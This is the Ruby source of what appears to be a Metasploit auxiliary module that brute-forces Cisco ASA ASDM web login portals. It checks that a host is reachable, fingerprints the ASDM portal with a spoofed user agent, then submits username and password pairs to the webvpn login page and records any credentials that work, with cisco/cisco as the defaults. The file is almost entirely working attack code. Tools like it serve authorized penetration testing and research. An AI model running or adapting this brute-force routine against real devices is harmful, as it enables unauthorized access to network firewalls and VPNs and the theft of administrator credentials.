138 lines
3.9 KiB
Ruby
138 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/proto/http'
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Scanner
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Cisco ASA ASDM Bruteforce Login Utility',
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'Description' => %{
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This module scans for Cisco ASA ASDM web login portals and
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performs login brute force to identify valid credentials.
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},
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'Author' =>
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[
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'Jonathan Claudius <jclaudius[at]trustwave.com>',
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
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OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']),
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OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco'])
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], self.class)
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end
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def run_host(ip)
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unless check_conn?
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print_error("#{peer} - Connection failed, Aborting...")
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return
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end
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unless is_app_asdm?
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print_error("#{peer} - Application does not appear to be Cisco ASA ASDM. Module will not continue.")
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return
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end
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print_status("#{peer} - Application appears to be Cisco ASA ASDM. Module will continue.")
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print_status("#{peer} - Starting login brute force...")
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each_user_pass do |user, pass|
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do_login(user, pass)
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end
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end
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# Verify whether the connection is working or not
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def check_conn?
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begin
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res = send_request_cgi(
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{
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'uri' => '/',
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'method' => 'GET'
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})
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print_good("#{peer} - Server is responsive...")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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return
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end
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end
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# Verify whether we're working with ASDM or not
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def is_app_asdm?
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res = send_request_cgi(
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{
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'uri' => '/+webvpn+/index.html',
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'method' => 'GET',
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'agent' => 'ASDM/ Java/1.6.0_65'
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})
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if res &&
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res.code == 200 &&
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res.headers['Set-Cookie'].match(/webvpn/)
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return true
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else
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return false
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end
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end
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# Brute-force the login page
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def do_login(user, pass)
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vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
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begin
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res = send_request_cgi({
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'uri' => '/+webvpn+/index.html',
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'method' => 'POST',
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'agent' => 'ASDM/ Java/1.6.0_65',
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'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
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'cookie' => 'webvpnlogin=1; tg=0DefaultADMINGroup',
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'vars_post' => {
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'username' => user,
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'password' => pass,
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'tgroup' => 'DefaultADMINGroup'
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}
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})
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if res &&
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res.code == 200 &&
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res.body.match(/SSL VPN Service/) &&
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res.body.match(/Success/) &&
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res.body.match(/success/)
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print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
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report_hash = {
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:host => rhost,
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:port => rport,
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:sname => 'Cisco ASA ASDM',
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:user => user,
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:pass => pass,
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:active => true,
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:type => 'password'
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}
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report_auth_info(report_hash)
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return :next_user
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else
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vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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print_error("#{peer} - HTTP Connection Failed, Aborting")
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return :abort
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end
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end
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end |